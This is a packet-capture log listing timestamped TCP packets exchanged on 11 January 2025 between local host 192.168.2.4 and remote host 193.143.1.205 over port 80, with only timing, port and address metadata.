Jan 11, 2025 03:17:54.225790977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.225827932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225862026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225895882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225903988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.225961924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.226010084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.231529951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.236293077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.254730940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.254762888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.254798889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.254833937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.254885912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.254926920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.262290001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.262320995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.262356043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.262399912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.262409925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.262440920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.262470961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.262495041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.262526989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.262541056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.291646004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.291703939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.291716099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.291737080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.291783094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.291793108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.291795969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.291855097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.291915894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.291971922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292001963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292021036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.292049885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292088032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292097092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.292100906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292145967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.292217016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292331934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292383909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.292386055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292398930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292443991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.292534113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292546034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.292593002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.328721046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.328819990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.328875065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.328891039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.328911066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.328964949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.328989983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329000950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329035997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329044104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329071045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329102993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329132080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329180956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329216003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329246044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329252005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329288960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329318047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329324007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329380035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329463005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329571962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329613924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329628944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329648972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329684973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329703093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329780102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329816103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329832077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329893112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329946995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.329958916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.329996109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330049992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.330185890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330220938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330255032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330291986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330315113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.330353022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.330387115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330559015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330594063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330612898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.330630064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330708981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.330795050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330830097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330864906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330893993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.330899954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.330951929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.331022978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331058025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331093073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331104994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.331127882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331163883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331180096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.331579924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331614971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331638098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.331656933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331711054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331712008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.331746101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331780910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331799030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.331816912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.331868887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.332010031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332046032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332082987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332104921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.332118988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332154036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332169056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.332488060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332521915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332545042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.332557917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332612991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.332734108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332768917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332803965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332824945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.332839966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332890034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.332962036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.332997084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333033085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333050966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.333069086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333103895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333121061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.333384037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333435059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.333451033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333487034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333530903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.333619118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333672047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333704948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333739996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333746910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.333787918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.333949089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.333988905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334022999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334054947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.334057093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334095955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334105968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.334345102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334404945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.334410906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334445953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334497929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.334557056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334593058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334628105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334649086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.334664106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334702015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334714890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.334736109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334772110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.334789038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.338881016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.341873884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.341950893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.341959000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.341988087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.342021942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.342040062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.342077017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.342112064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.342143059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.342147112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.342206955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.349129915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349175930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349186897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349232912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.349257946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349268913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349308968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.349343061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349354982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349390984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.349483967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349494934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.349538088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.385515928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.385559082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.385571003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.385581970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.385643959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.385654926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.385660887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.385674000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.385687113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.385720015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.385752916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.417049885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417112112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417146921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417181969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417213917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.417218924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417237997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.417273045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417309046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417320013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.417345047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417402029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.417443037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417479038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417514086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417542934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.417548895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417584896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417604923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.417845964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417881012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417906046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.417916059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.417968988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418008089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418051004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.418128967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418132067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.418164968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418200970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418224096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.418236017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418272018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418294907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.418308020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418359995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.418546915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418581009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418616056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418652058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418653011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.418688059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418704033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.418723106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418762922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.418776989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.418968916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419006109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419023037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.419042110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419079065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419102907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.419116020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419166088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.419413090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419449091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419483900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419508934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.419519901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419555902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419573069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.419590950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419625998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419646025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.419661999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419696093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419714928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.419729948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419764996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419778109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.419806957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.419857979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420134068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420167923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420203924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420222044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420241117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420284033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420295954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420320034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420368910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420450926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420485973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420521021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420546055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420557022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420591116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420608044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420628071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420663118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420681000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420698881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420737028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420756102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420773029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420809031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420826912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.420844078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.420938969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.421478987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421516895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421552896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421571016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.421586990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421621084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421643972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.421664000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421699047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421721935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.421734095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421767950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421788931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.421802998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421838999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421855927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.421875000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421909094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421926975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.421942949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.421993017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.422379971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.422418118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.422452927 CET	80	49730	193.143.1.205	192.168.2.4
